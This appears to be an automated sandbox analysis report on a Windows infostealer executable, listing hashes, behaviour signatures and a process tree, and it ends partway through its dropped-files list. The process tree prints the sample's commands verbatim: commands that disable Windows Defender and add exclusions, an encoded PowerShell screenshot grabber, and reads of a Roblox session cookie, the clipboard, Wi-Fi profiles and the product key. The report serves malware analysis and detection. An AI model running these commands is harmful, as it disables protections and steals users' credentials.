Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-11-2024 08:58

General

  • Target

    d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe

  • Size

    5.9MB

  • MD5

    6b21dfb8d2ebee9dd351b642ef62f738

  • SHA1

    c41bd9e47eebd0dbde150c80862e95925003de33

  • SHA256

    d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7

  • SHA512

    16789e3b8eff941655667f50c87d3e43b27f9f7fa46f90585933cec84f55fb7db368db1647d3d4703517a042f579f2e7d081080eced995ff03206da646d6d250

  • SSDEEP

    98304:FUmoDUN43WEqGjOjFgFEblNHYSxTpirSHcUR43zWwkdA8QJCKC7bN3mb6aVtMF1v:FUumWE9OjmFwDRxtYSHdK3rkdai7bN3x

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • UPX packed file 47 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe
    "C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe
      "C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2732
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:704
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‌‌.scr'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4680
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‌‌.scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3996
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2980
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5100
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4072
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3192
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3760
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:1748
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2840
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4404
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1344
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:1980
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:2752
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:3264
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5020
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:4080
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4388
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3496
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\unzm4isd\unzm4isd.cmdline"
              5⤵
                PID:5064
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9059.tmp" "c:\Users\Admin\AppData\Local\Temp\unzm4isd\CSC61725639E094474294968878E24F841.TMP"
                  6⤵
                    PID:3888
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3868
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:4724
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4600
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1248
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4988
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:2176
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                    PID:1680
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:4068
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:972
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:1656
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          3⤵
                            PID:3064
                            • C:\Windows\system32\tree.com
                              tree /A /F
                              4⤵
                                PID:2596
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                              3⤵
                                PID:3108
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4404
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "getmac"
                                3⤵
                                  PID:1224
                                  • C:\Windows\system32\getmac.exe
                                    getmac
                                    4⤵
                                      PID:1864
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI21122\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\OsrvV.zip" *"
                                    3⤵
                                      PID:3288
                                      • C:\Users\Admin\AppData\Local\Temp\_MEI21122\rar.exe
                                        C:\Users\Admin\AppData\Local\Temp\_MEI21122\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\OsrvV.zip" *
                                        4⤵
                                        • Executes dropped EXE
                                        PID:2008
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                      3⤵
                                        PID:4740
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic os get Caption
                                          4⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3208
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                        3⤵
                                          PID:2288
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic computersystem get totalphysicalmemory
                                            4⤵
                                              PID:1168
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                            3⤵
                                              PID:3232
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic csproduct get uuid
                                                4⤵
                                                  PID:936
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                3⤵
                                                  PID:3748
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                    4⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:1420
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                  3⤵
                                                    PID:3772
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic path win32_VideoController get name
                                                      4⤵
                                                      • Detects videocard installed
                                                      PID:1312
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                    3⤵
                                                      PID:5116
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                        4⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:2792

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                  Filesize

                                                  2KB

                                                  MD5

                                                  d85ba6ff808d9e5444a4b369f5bc2730

                                                  SHA1

                                                  31aa9d96590fff6981b315e0b391b575e4c0804a

                                                  SHA256

                                                  84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                  SHA512

                                                  8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                  Filesize

                                                  944B

                                                  MD5

                                                  2e907f77659a6601fcc408274894da2e

                                                  SHA1

                                                  9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                                                  SHA256

                                                  385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                                                  SHA512

                                                  34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                  Filesize

                                                  64B

                                                  MD5

